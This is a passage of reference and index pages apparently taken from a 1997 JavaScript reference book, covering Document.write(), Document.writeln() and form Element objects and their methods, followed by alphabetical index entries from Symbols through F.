Previous Chapter 21
JavaScript Reference 		Next

Document.write() Method

Name

Document.write() Method---append data to a document

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

document.write(value,...)

Arguments

value

An arbitrary JavaScript value that is to be appended to document. If the value is not a string, it is converted to one before being appended.

...

Any number (zero or more) of additional values to be appended (in order) to document.

Returns

nothing

Description

document.write() appends each of its arguments, in order, to document. String values are appended as is. Numeric values are converted to a string representation, and Boolean values are appended as either the string "true" or the string "false". Object values are converted to strings by invoking their toString() method.

Document.write() is usually used in one of two ways. The first is when it is invoked on the current document within a <SCRIPT> tag or within a function that is executed while the document is still being parsed. In this case, the write() method writes its HTML output as if that output appeared literally in the file, at the location of the code that invoked the method.

The second way that Document.write() is commonly used is to dynamically generate the contents of documents other than that of the current window. In this case, the target document is never in the process of being parsed, and so the output cannot appear "in place" as it does in the case described above. In order for write() to output text into a document, that document must be "open." You can open a document by explicitly calling the Document.open() method, if you choose. In most cases this is unnecessary, however, because when write() is invoked on a document that is "closed," it implicitly opens the document. When a document is opened, any contents that previously appeared in that document are discarded and replaced with a blank document.

Once a document is open, Document.write() can append any amount of output to the end of the document. When a new document has been completely generated by this technique, the document should be closed by calling Document.close(). Note that although the call to open() is usually optional, the call to close() is never optional.

The results of calling Document.write() may not be immediately visible in the targeted web browser window or frame. This is because a web browser may buffer up data to output in larger chunks. Calling Document.close() is the only way to explicitly force all buffered output to be "flushed" and displayed in the browser window. In Navigator 2.0 and 3.0, however, output will be flushed whenever a line break occurs in the output. So for example, outputting the HTML tags <BR>, <HR>, or <P> would force Navigator to display all pending output. This technique does not work in Internet Explorer 3.0, however. In that browser, output is not "flushed" until the enclosing <SCRIPT> tag or event handler function terminates.

Document.write() can also be used in a third way, but only with extreme caution. When an event handler invokes write() on the current document (i.e., the document of which the event handler is a part), the document must first be opened, as we saw above. But opening a document discards any current contents, including any JavaScript code and function definitions. This means that the event handler calling document.write() on its own document cannot rely on any JavaScript functions defined in that document. In general, this technique is best avoided. If you want to dynamically generated documents without having multiple frames or windows visible, it is often easiest to use an invisible frame (one with zero height, for example) to hold the JavaScript code that does the document generation.

See Also

"Document",
"Document.close()",
"Document.open()",
"Document.writeln()",
Chapter 14, Documents and Their Contents

Previous | Home | Next
Document.vlinkColor | Book Index | Document.writeln()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.writeln()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.writeln() Method

Name

Document.writeln() Method---append data and newline to a document

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

document.writeln(value,...)

Arguments

value

An arbitrary JavaScript value that is to be appended to document. If the value is not a string, it is converted to one before being appended.

...

Any number (zero or more) of additional values to be appended (in order) to document.

Returns

nothing

Description

Document.writeln() behaves just like Document.write() except that after appending all of its arguments to document, it also appends a newline character. See Document.write() for more information on this method.

Newline characters are not usually displayed in HTML documents, so in general, it is only useful to use Document.writeln() when writing text to appear in a <PRE> or <XMP> environment, or when writing to a document opened with a mime type of "text/plain".

See Also

"Document",
"Document.clear()",
"Document.close()",
"Document.open()",
"Document.write()"

Previous | Home | Next
Document.write() | Book Index | Element
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element Object

Name

Element Object---a form element

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

form.elements[i]
form.name

Properties

checked

A read/write Boolean that indicates the selection state of form elements that can appear "checked" or "unchecked."

defaultChecked

A read-only Boolean that specifies the default state of a form element that can be "checked." This value is specified by the CHECKED attribute of the HTML tag that creates the element, and its value is used when the form is reset.

defaultValue

A read-only string that specifies the default value for a form element. For elements that display text, this property specifies the initial value displayed, and the value displayed after the form is reset. This property corresponds to the HTML VALUE attributed.

form

A read-only reference to the Form object that contains this element.

length

For the Select form element, this property specifies the number of options or choices (each represented by an Option object) that are contained within the options[] array of the element.

name

A read-only string, specified by the HTML NAME attribute, that specifies the name of this element. This name may be used to refer to the element, as shown in the synopsis above.

options[]

For the Select form element, this array contains Option objects that represent the options or choices displayed by the Select object. The number of elements in the array is specified by the length property of the Select element.

selectedIndex

For the Select form element, this integer specifies which of the options displayed by the Select object is currently selected. In Navigator 3.0, this property is read/write. In Navigator 2.0 and Internet Explorer 3.0, it is read-only.

type

A read-only string property, available in Navigator 3.0, that specifies the type of the form element.

value

A string property that specifies the value to be sent to the server for this element when the form that contains it is submitted.

Methods

blur()

Remove keyboard focus from the element.

click()

Simulate a mouse-click on the form element.

focus()

Give keyboard focus to the element.

select()

For form elements that display editable text, select the text that appears in the element.

Event Handlers

onblur()

Invoked when the user takes keyboard focus away from the element.

onchange()

For form elements that are not buttons, this event handler is invoked when the user enters or selects a new value.

onclick()

For form elements that are buttons, this event handler is invoked when the user clicks or selects the button.

onfocus()

Invoked when the user gives keyboard focus to the element.

Description

Form elements are stored in the elements[] array of the Form object. The contents of this array are Element objects, which represent the individual buttons, input fields and other controls that appear within the form. Strictly speaking, all elements within a form are represented by Element objects. It is often more convenient, however, to consider these object to have the type of the form element they represent. Thus, in this book we often refer to Button objects, Text objects, Select objects, and so on. This reference page describes the general behavior of form elements. Specific behaviors for form elements are described on their own pages.

The Element object defines quite a few properties, methods, and event handlers, but not all of them are functional for each type of form element. For example, the Button object triggers the onclick() event handler, but not the onchange() handler, while the Text object triggers onchange() but not onclick(). The following figure shows all of the form elements and the properties associated with them.

Figure 21.1: Form elements and their available properties

[Graphic: Figure 21-1]

In general, there are two broad categories of form elements. The first is the buttons: Button, Checkbox, Radio, Reset, and Submit. These elements have an onclick() event handler, but not an onchange() handler. Similarly, they respond to the click() method but not the select() method. The second category are those elements that display text: Text, Textarea, Password and FileUpload. These elements have an onchange() event handler rather than an onclick() handler, and respond to the select() method but not the click() method.

The Select and Hidden elements are special, and do not fall into either of the above two categories. The Select element uses several properties of the Element object not used by any other objects, and, surprisingly does not use the value property--values for this object are supplied by the Option objects it contains. Finally, the Hidden element has no on-screen representation, so it does not have any event handlers nor does it respond to any methods.

Bugs

Unfortunately, the behavior of form elements varies on different platforms, at least in Navigator 2.0 and Navigator 3.0 (Internet Explorer 3.0 only runs on one platform). On Unix platforms, which run the X11 window system, only the text-entry form elements participate in keyboard navigation, and so the button elements and the Select element do not respond to the blur() and focus() methods nor do they invoke the onblur() and onfocus() event handler. Also, on Unix systems, the Text element is the only one that responds to the select() method. On Windows platforms, on the other hand, all form elements are fully "wired in," and they all respond as noted in the table.

See Also

"Button", "Checkbox", "FileUpload", "Form", "Hidden", "Password", "Radio", "Reset", "Select", "Submit", "Text", "Textarea"

Previous | Home | Next
Document.writeln() | Book Index | Element.blur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.blur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.blur() Method

Name

Element.blur() Method---remove keyboard focus from a form element

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

element.blur()

Arguments

none

Returns

nothing

Description

The blur() method of a form element removes keyboard focus from that element without invoking the onblur() event handler; it is essentially the opposite of the focus() method. The blur() method does not transfer keyboard focus anywhere, however, so the only time that it is actually useful to call this method is directly before you plan to transfer keyboard focus elsewhere with the focus() method, when you don't want the onblur() event handler to be triggered. That is, by removing focus explicitly from the element, you won't be notified when it is removed implicitly by a focus() call on another element.

In fact, because it is poor user-interface design to remove keyboard focus without transferring it somewhere else, Internet Explorer 3.0 does not actually remove keyboard focus when you call blur(). Instead, on this platform, calling blur() on a form element simply puts that element in a special state so that it won't trigger its onblur() event handler when focus actually is transferred somewhere else (either by the program or by the user.) Since this is the only reasonable use for blur() anyway, this incompatibility should not be a problem.

All form elements other than Hidden support the blur() method. Unfortunately, not all platforms support keyboard navigation equally well. In Navigator 2.0 and 3.0 for Unix platforms, the blur() method is only functional for those form elements that display text: Text, Textarea, Password and FileUpload.

See Also

"Element", "Element.focus()", "Element.onblur()"

Previous | Home | Next
Element | Book Index | Element.checked
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.checked

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.checked Property

Name

Element.checked Property---whether a Checkbox or Radio element is checked

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

element.checked

Description

The checked property is a read/write Boolean that specifies whether a Checkbox or Radio form element is currently checked or not. You can set the state of these button elements by setting the value of this property. This property is not used by other form elements.

See Also

"Checkbox", "Element", "Radio"

Previous | Home | Next
Element.blur() | Book Index | Element.click()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Symbols and Numbers

/2 constant : Math.SQRT1_2
constant : Math.SQRT2
& (bitwise and) operator : Bitwise And...
&& (logical and) operator
Miscellaneous Differences
Logical And...
&{} for entities
Core Language Changes
JavaScript Entities
' (apostrophe)
String Literals
Escape Sequences in String Literals
* (multiplication) operator : Multiplication (*)
\ (backslash) : Escape Sequences in String Literals
!= (inequality) operator : Inequality (!=)
! (logical not) operator : Logical Not (!)
[] (brackets)
Arrays
Array and Object Access Operators
for...in
Objects as Associative Arrays
Reading and Writing Array Elements
Conversions to Objects
^ (bitwise exclusive or) operator : Bitwise Xor (^)
, (comma) operator
The Comma Operator (,)
for
{} (curly braces)
Compound Statements
function
$ (dollar sign) : Identifiers
. (dot) operator
Array and Object Access Operators
Reading and Writing Object Properties
Arrays in Navigator 2.0
Conversions to Objects
XX_DQUOTE_XX (double quote) : String Literals
= (assignment) operator
Equality (==)
Assignment Operators
The assign() Method
combined with operations : Assignment with Operation
== (equality) operator : Equality (==)
> (greater than) operator
Greater Than (>)
String Operators
>= (greater than or equal) operator
Greater Than or Equal (>=)
String Operators
>> (shift right with sign) operator : Shift Right with Sign (>>)
>>> (shift right zero fill) operator : Shift Right Zero Fill (>>>)
- (minus) operator : Subtraction (-)
- (negation) operator : Unary Negation (-)
-- (decrement) operator : Decrement (--)
< (less than) operator
Less Than (<)
String Operators
<!-- --> (comment tags)
Comments
Hiding Scripts from Old Browsers
<= (less than or equal) operator
Less Than or Equal (<=)
String Operators
<< (shift left) operator : Shift Left (<<)
() (parentheses)
Functions
Objects
Operator Precedence
Function Call Operator
Defining and Invoking Functions
% (modulo) operator : Modulo (%)
| (bitwise or) operator : Bitwise Or (|)
|| (logical or) operator
Miscellaneous Differences
Logical Or (||)
+ (plus/concatenate) operator
Strings
Addition (+)
String Operators
Conversions to Strings
Workarounds for Navigator 2.0
++ (increment) operator : Increment (++)
?: (conditional) operator : The Conditional Operator (?:)
; (semicolon)
Optional Semicolons
Statements
XX_SQUOTE_XX (single quote) : String Literals
/ (division) operator : Division (/)
// (comment marker) : Comments
/**/ (comment markers) : Comments
~ (bitwise not) operator : Bitwise Not (~)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

A

<A> tags
The Anchor Object
Anchor
String.anchor()
about:cache URL : Security Holes and Security Hobbles
abs() : Math.abs()
access operators : Array and Object Access Operators
accessing object properties (see objects)
accumulator : Data Tainting in JavaScript
acos() : Math.acos()
ACTION attribute : Form.action
action property : Form.action
ActiveX : Calling JavaScript from Applets
adding (see defining)
addition
+ (plus) operator : Addition (+)
++ (increment) operator : Increment (++)
alert()
Dialogs in onUnload()
Executable Content: JavaScript in a...
Exploring JavaScript
Windows and Frames
Simple Dialogs
Window.alert()
aliases, with statement for : with
ALINK attribute
Document Properties
Document.alinkColor
alinkColor property
Document Properties
Document.alinkColor
alphabetical order : String Operators
ampersand (&) for entities : JavaScript Entities
anchor() : String.anchor()
Anchor object
The Anchor Object
Anchor
anchors[] property
The Anchor Object
Anchor
Document.anchors[]
and (&) operator : Bitwise And...
and (&&) operator
Miscellaneous Differences
Logical And...
AnimateObject() : Live3D
animation
on status bar : The Status Line
anonymous functions : The Function() Constructor
apostrophe (')
String Literals
Escape Sequences in String Literals
appCodeName property
The Navigator, MimeType, and Plugin...
Navigator.appCodeName
<APPLET> tags
Content disappears upon resize
The JavaObject Object
applets
Content disappears upon resize
Interact with Applets
The JavaObject Object
Interacting with Applets
Document.applets[]
Internet Explorer 3.0 and : Interacting with Applets
JSObject objects in : Using JSObjects in Applets
LiveConnect with : Accessing applets before they are loaded
applets[] property
The JavaObject Object
Interacting with Applets
Interacting with Applets
Document.applets[]
appName property
The Navigator, MimeType, and Plugin...
Navigator.appName
appVersion property
The Navigator, MimeType, and Plugin...
Navigator.appVersion
Area object : Area
<AREA> tags
Miscellaneous Changes
The Link Object
Area
arguments, function
Functions
Defining and Invoking Functions
The arguments[] Array
Function arguments and variables ar...
Function.arguments[]
verifying number of : The arguments[] Array
arguments[] property
The arguments[] Array
Function.arguments[]
arithmetic operators
Arithmetic and Mathematical Functions
Arithmetic Operators
Array()
Creating Arrays
Arrays in Navigator 2.0
Array method : Array.reverse()
Array object
Core Language Changes
Array
Array.join()
Array.length
Array.sort()
arrays
Arrays
Arrays
associative
Objects
Objects as Associative Arrays
Multidimensional Arrays
built-in : Built-in Arrays
comparing : Equality (==)
creating : Object Creation Operator (new)
defining : Creating Arrays
deleting elements of : Removing Elements from an Array
elements (see elements, array)
Java : The JavaArray Object
JavaArray object
The JavaArray Object
JavaArray
JavaArray.length
length property : Array Length Property
looping through : for...in
methods for : Array Methods
multidimensional : Multidimensional Arrays
as objects : Array/Object Dual Nature
operators for : Array and Object Access Operators
assign()
Core Language Changes
The assign() Method
Copying Objects with the assign() Method
Object.assign()
assignment (=) operator
Equality (==)
Assignment Operators
The assign() Method
combined with operations : Assignment with Operation
assignment by reference/value : By Value vs. By Reference
assignment statements
Variable Declaration
Expression Statements
associative arrays
Objects
Objects as Associative Arrays
Multidimensional Arrays
associativity, operator : Operator Associativity
asynchronous execution : Event Handlers
atan() : Math.atan()
atan2() : Math.atan2()
audio (see LiveAudio plug-in)
automatic data type conversion : Automatic Data Type Conversion
automatic garbage collection : Garbage Collection

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

B

<B> tags : String.bold()
back()
The History Object
History.back()
Back button : History.back()
background
color
Document background color
Document Properties
Document.bgColor
images : Other Image Techniques
BACKGROUND attribute : Other Image Techniques
backslash (\) : Escape Sequences in String Literals
banners : Frame Programming Techniques
base-8 and base-16 numbers : Octal and Hexadecimal Literals
<BASEFONT> tags : String.fontsize()
batch mode : The Event-Driven Programming Model
BGCOLOR attributes : Document Properties
bgColor property
Document background color
Document Properties
Document.bgColor
<BIG> tags : String.big()
big() : String.big()
binary (see also Boolean data type)
numbers : Bitwise Operators
operators : Number of Operands
bit shift operators : Shift Left (<<)
bitwise operators : Bitwise Operators
<BLINK> tags : String.blink()
blink() : String.blink()
blocks, statement : Compound Statements
blur()
The Window Object
Object Model Differences
Other Window Programming Techniques
Element.blur()
Window.blur()
<BODY> tags : Document Properties
bold() : String.bold()
bookmark list : JavaScript and Security
Boolean() : Conversions to Objects
Boolean context : Conversions to booleans
Boolean data type
Boolean Literals
boolean Values
converting
Miscellaneous Differences
Conversions to booleans
logical operators : Logical Operators
Boolean object
Boolean
Boolean.prototype
Boolean.toString()
Boolean.valueOf()
booleanValue()
JavaScript Conversion of JavaObjects
BORDER attribute : Image.border
border property
Other Image Properties
Image.border
borderless frames : Frame Programming Techniques
<BR> tag : Flushing Generated Output
braces {}
Compound Statements
function
brackets []
Arrays
Array and Object Access Operators
for...in
Objects as Associative Arrays
Reading and Writing Array Elements
Conversions to Objects
branches, counting
Infinite Loops in JavaScript
Security Hobbles in Navigator 3.0
break statement : break
breaking cyclical references : Shortcomings of Garbage Collection ...
Browse button : FileUpload bug
browsers (see also World Wide Web)
browsing history
The History Object
JavaScript and Security
History
colors of (see colors)
controlling : Control the Browser
hiding scripts from
Comments
Hiding Scripts from Old Browsers
implicit Window reference : The Implicit Window Reference
JavaScript in URLs : JavaScript in URLs
JavaScript versions and : JavaScript 1.0 and 1.1
multiple windows : Multiple Windows and Explicit Windo...
notifying users of incompatibility : Notifying Users of Old Browsers
program execution order : Execution of JavaScript Programs
text-only : Hiding Scripts from Really Old Browsers
unsupportive of JavaScript : Compatibility with Non-JavaScript B...
variable information about : Still More Features
bugs
Internet Explorer 3.0 : Known JavaScript Bugs in Internet E...
Navigator 2.0 : Commonly Encountered JavaScript Bug...
Navigator 3.0 : Known JavaScript Bugs in Navigator 3.0
security holes : Security Holes and Security Hobbles
built-in
arrays : Built-in Arrays
data type conversions : Conversions to and from Objects
functions : Built-in Functions
Button element
Form Elements
Button
Button.blur()
Button.click()
Button.focus()
Button.form
Button.name
Button.onblur()
Button.onclick()
Button.onfocus()
Button.type
Button.value
by reference
By Value vs. By Reference
by value
By Value vs. By Reference

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

C

C-style comments (see comments)
caching
images : Off-Screen Images and Caching
JavaScript code : Including JavaScript Files
call()
The JSObject Class
JSObject.call()
caller property
The caller Property
Function.caller
capitalization
alphabetical sorting and : String Operators
case sensitivity
Case Sensitivity
Case Sensitivity
naming conventions
Classes in JavaScript
Event Handlers in JavaScript
toLowerCase(), toUpperCase()
String.toLowerCase()
String.toUpperCase()
carriage returns (see whitespace)
case (see capitalization)
cast operator : Explicit Data Type Conversions
ceil() : Math.ceil()
CGI (Common Gateway Interface) (see server-side JavaScript)
compatibility through : Compatibility Through CGI Scripts
forms : Forms in CGI and JavaScript
scripts (see server-side JavaScript)
char data type : Strings
characters (see string literals)
charAt() : String.charAt()
Checkbox element
Form Elements
Form Element Names and Values
Naming Forms and Form Elements
Checkbox
Checkbox.blur()
Checkbox.checked
Checkbox.click()
Checkbox.defaultChecked
Checkbox.focus()
Checkbox.form
Checkbox.name
Checkbox.onclick()
Checkbox.onfocus()
Checkbox.type
Checkbox.value
checkboxes : Backward radio and checkbox arrays
checked property
Form Element Names and Values
Checkbox.checked
Element.checked
Radio.checked
checking (see verifying)
class methods : Classes in JavaScript
class variables (see static variables)
classes, Java
The JavaClass Object
Using the Java System Classes
getClass()
JavaClass
classes, object
Creating New Objects with Constructors
Classes in JavaScript
prototype objects : Object Prototypes
CLASSPATH variable : Compiling applets that use the JSOb...
clean-up : onLoad() and onUnload() Event Handlers
clear() : Document.clear()
clearTimeout() : Window.clearTimeout()
click() : Element.click()
Client object : Server-Side JavaScript
client-side JavaScript
Executable Content: JavaScript in a...
Client-Side JavaScript
Client-Side Program Structure
JavaScript and Security
built-in arrays : Built-in Arrays
close()
Closing Windows
The write() Method
Flushing Generated Output
Security Hobbles in Navigator 3.0
Window.close()
for Document object
Closing the current document
Document.close()
closed property
The Window Object
Closing Windows
Reference Counting in Navigator 3.0
Other Window Programming Techniques
Window.closed
code
caching : Including JavaScript Files
defensive coding approach : Defensive Coding
example collections : Examples and Links for Further Expl...
execution order of : Execution of JavaScript Programs
indenting
Whitespace and Line Breaks
if
line length limits : Line length limit
COLOR attribute
Document.fgColor
String.fontcolor()
colors
JavaScript and HTML Color Names and...
Document Properties
background
Document background color
Document.bgColor
document : Document Properties
font : String.fontcolor()
foreground : Document.fgColor
links
Document.alinkColor
Document.linkColor
Document.vlinkColor
comma (,) operator
The Comma Operator (,)
for
comments
Comments
Hiding Scripts from Old Browsers
comparing
different data types : Equality (==)
functions : Comparing Strings and Functions
operators for : Comparison Operators
string literals : String Operators
strings : Comparing Strings and Functions
compatibility : Compatibility Techniques
Internet Explorer 3.0 : JavaScript Incompatibilities in Int...
compiling applets with JSObjects : Compiling applets that use the JSOb...
complete property
Image Manipulation
Image Event Handlers
Image.complete
compound statements : Compound Statements
computations : Still More Features
concatenate (+) operator
Strings
Addition (+)
String Operators
Conversions to Strings
Workarounds for Navigator 2.0
conditional (?:) operator : The Conditional Operator (?:)
conditional statements : if
confirm()
Dialogs in onUnload()
Windows and Frames
Simple Dialogs
Window.confirm()
constants (see also literals; numbers)
constant expressions : Expressions
e : Math.E
infinity (Inf)
Special Numeric Values
Number.POSITIVE_INFINITY
ln10 : Math.LN10
ln2 : Math.LN2
log2e : Math.LOG2E
loge : Math.LOG10E
MAX_VALUE : Number.MAX_VALUE
MIN_VALUE : Number.MIN_VALUE
NaN (see NaN)
negative infinity (-Inf)
Special Numeric Values
Number.NEGATIVE_INFINITY
pi (pi) : Math.PI
special numeric : Special Numeric Values
/2 : Math.SQRT1_2
: Math.SQRT2
constructor functions
Core Language Changes
Creating New Objects with Constructors
Creating Arrays
The JavaScript Name Space
constructor property
Core Language Changes
The constructor Property
Object.constructor
content
interacting with : Interact with Document Content
in resized documents : Content disappears upon resize
context (see converting)
contiguous array elements : The length Property and Sparse Arrays
continue statement : continue
converting
Boolean values
Miscellaneous Differences
Conversions to booleans
dates and times : The Date Object
escape sequences
escape()
unescape()
explicity : Explicit Data Type Conversions
to functions : Conversions to Functions
Java to JavaScript (see LiveConnect)
JavaObject objects : JavaScript Conversion of JavaObjects
to numbers
The valueOf() Method
Conversions to Numbers
Converting Strings to Numbers
parseFloat()
parseInt()
to objects
Conversions to Objects
Conversions to and from Objects
to string literals
Conversion of floating-point values...
Form Values and String Conversion
The toString() Method
Array Methods
Conversions to Strings
Converting Numbers to Strings
variables : Untyped Variables
Cookie: header : Syntax of the Cookie HTTP Request Header
cookie property : An Overview of Cookies
cookies
Object Model Differences
Persistent Client State: HTTP Cookies
Read and Write Client State with Cookies
Saving State with Cookies
Document.cookie
copying
Copying and Passing Strings and Fun...
Copying Objects with the assign() Method
cos() : Math.cos()
counter variable : while
counting
branches
Infinite Loops in JavaScript
Security Hobbles in Navigator 3.0
references : Core Language Features
counting references : Reference Counting in Navigator 3.0
creating (see defining)
creator property : The Least-Common-Denominator Approach
curly braces {}
Compound Statements
function
current property : History.current
cyclical references : Shortcomings of Garbage Collection ...

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

D

dangling references
Dangling references
Workarounds for Navigator 2.0
data
arrays of : Arrays
comparing : Equality (==)
exporting (see data-tainting security model)
literals : Literals
LiveConnect conversion of
LiveConnect Data Conversion
Data Conversion
data types
automatic conversions of : Automatic Data Type Conversion
Boolean (see Boolean data type)
by reference versus by value : By Value vs. By Reference
comparing different : Equality (==)
converting explicitly : Explicit Data Type Conversions
Date (see Date object)
functions as
Functions
Functions as Data Types
LiveConnect : LiveConnect Data Types
operators and : Type of Operands
typeof operator
Core Language Changes
Undefined
The typeof Operator
Conversions to Objects
untyped variables : Untyped Variables
wrapper objects
Data Type Wrapper Objects
Wrapper Objects
data-tainting security model
JavaScript Security
The Data-Tainting Security Model
taint()
untaint()
date and time
The Date Object
of last modification
Still More Features
Document Properties
Document.lastModified
Navigator 2.0 bugs : Date and time bugs
Date object
Date and time bugs
Still More Features
The Date Object
The Least-Common-Denominator Approach
Date
Date.getDate()
Date.getDay()
Date.getHours()
Date.getMinutes()
Date.getMonth()
Date.getSeconds()
Date.getTime()
Date.getTimezoneOffset()
Date.getYear()
Date.parse()
Date.prototype
Date.setDate()
Date.setHours()
Date.setMinutes()
Date.setMonth()
Date.setSeconds()
Date.setTime()
Date.setYear()
Date.toGMTString()
Date.toLocaleString()
Date.UTC()
Date() : The Date Object
day (see date and time)
declaring
functions : The JavaScript Name Space
variables
Variable Declaration
var
decrement (--) operator : Decrement (--)
default, values tainted by : Values Tainted by Default
defaultChecked property
Checkbox.defaultChecked
Element.defaultChecked
Radio.defaultChecked
defaultSelected property : Option.defaultSelected
defaultStatus property
Status and defaultStatus
Windows and Frames
The Status Line
Window.defaultStatus
defaultValue property : Element.defaultValue
defensive coding : Defensive Coding
defining
array elements : Adding New Elements to an Array
arrays
Object Creation Operator (new)
Creating Arrays
functions
function
Defining and Invoking Functions
object properties : Defining New Object Properties
objects
Object Creation Operator (new)
Creating New Objects with Constructors
delays (see timeouts)
delete operator
Core Language Features
The delete Operator
DeleteObject() : Live3D
deleting
array elements : Removing Elements from an Array
Document object : Document.clear()
object properties : Undefined Object Properties
denial-of-service attacks
Infinite Loops in JavaScript
Security Hobbles in Navigator 3.0
dense arrays : The length Property and Sparse Arrays
description property
MimeType.description
Plugin.description
destruction operator : The delete Operator
DevEdge program newsgroups : Discussion of JavaScript
dialog boxes : Simple Dialogs
division (/) operator : Division (/)
Document object
Document background color
Control Document Appearance and Content
Interact with Document Content
The Document Object
Document
Document.alinkColor
Document.anchors[]
Document.applets[]
Document.bgColor
Document.clear()
Document.close()
Document.cookie
Document.domain
Document.embeds[]
Document.fgColor
Document.forms[]
Document.images[]
Document.lastModified
Document.linkColor
Document.links[]
Document.location
Document.open()
Document.plugins
Document.referrer
Document.title
Document.URL
Document.vlinkColor
Document.write()
Document.writeln()
close() : Document.close()
document property : Window.document
documentation : Official Netscape Documentation
documents
dynamically generated : Bugs with Dynamically Generated Doc...
non-HTML : Non-HTML Documents
dollar sign ($) : Identifiers
domain attribute (cookies) : Syntax of the Set-Cookie HTTP Respo...
domain property
JavaScript Security
The Link Object
The domain Property
Document.domain
dot (.) operator
Array and Object Access Operators
Reading and Writing Object Properties
Arrays in Navigator 2.0
Conversions to Objects
double-quote characters (XX_DQUOTE_XX) : String Literals
doubleValue()
JavaScript Conversion of JavaObjects
dynamic HTML : Dynamic HTML
dynamically generated documents : Bugs with Dynamically Generated Doc...

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

E

E constant (Math object) : Math.E
E for exponential notation : Floating-Point Literals
electronic mail : Security Holes and Security Hobbles
Element object
Element
Element.blur()
Element.checked
Element.click()
Element.defaultChecked
Element.defaultValue
Element.focus()
Element.form
Element.length
Element.name
Element.onblur()
Element.onchange()
Element.onclick()
Element.onfocus()
Element.options[]
Element.select()
Element.selectedIndex
Element.type
Element.value
elements, array
Array Elements
methods for manipulating : Array Methods
overwriting : Arrays in Navigator 2.0
elements, form : Form Elements
elements[] property
The Form Object
Form Elements
Form.elements[]
else clause : if
embed property : Document.plugins
<EMBED> tags
The JavaObject Object
Working with Plug-Ins
Document.embeds[]
embedded images (see images)
embeds[] property
The JavaObject Object
Working with Plug-Ins
Document.embeds[]
empty
arrays : Creating Arrays
objects : Creating New Objects with Constructors
statements : The Empty Statement
string literals
Conversions to Numbers
Conversions to booleans
enabledPlugin property
The MimeType Object
MimeType.enabledPlugin
encoding form data : Form.encoding
encoding property : Form.encoding
encoding, Latin-1
Escape Sequences in String Literals
String Operators
ENDTIME attribute : LiveAudio
end_time() : LiveAudio
entities, JavaScript in
JavaScript Entities
JavaScript Entity Execution
environment variables, browser : Still More Features
equality (==) operator : Equality (==)
errors (see also onError())
failing gracefully
Fail Gracefully
Failing Gracefully the Hard Way
errors, onError() for : Image.onerror()
escape sequences
Escape Sequences in String Literals
escape()
unescape()
escape()
Reading Cookies
escape()
eval()
eval()
Core Language Changes
Miscellaneous Differences
Converting Strings to Numbers
The JSObject Class
Data Conversion
eval()
for JSObject object : JSObject.eval()
for Object object : Object.eval()
evaluating expressions : Expressions
EVENT attribute
Event Handlers in <SCRIPT> Tags
Scripts
event handlers
Executable Content: JavaScript in a...
Interact with the User
Functions
Event Handlers
JavaScript and Events
and button/checkbox order : Backward radio and checkbox arrays
case sensitivity : Case Sensitivity
execution order of : Event Handlers
images and : Image Event Handlers
javascript: protocol specifier : JavaScript in URLs
keystrokes and : Dynamic HTML
in regenerated documents : Event handlers in regenerated documents
scope of : Scope of event handlers
examples, collections of : Examples and Links for Further Expl...
exclusive or (^) : Bitwise Xor (^)
existence, testing for : Event Handlers
exiting loops with break : break
exp() : Math.exp()
expiration (see lifetime)
Explorer (see Internet Explorer)
exponential notation : Floating-Point Literals
exporting data (see data-tainting security model)
expression statements : Expression Statements
expressions : Expressions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

F

fade_from_to() : LiveAudio
fade_to() : LiveAudio
failing gracefully
Fail Gracefully
Failing Gracefully the Hard Way
false (keyword)
Boolean Literals
boolean Values
FAQs, JavaScript : FAQ Lists
fgColor property : Document.fgColor
fgcolor property : Document Properties
fields (see properties, object)
file: URL : Exploring JavaScript
filename property
for Plugin object : Plugin.filename
files
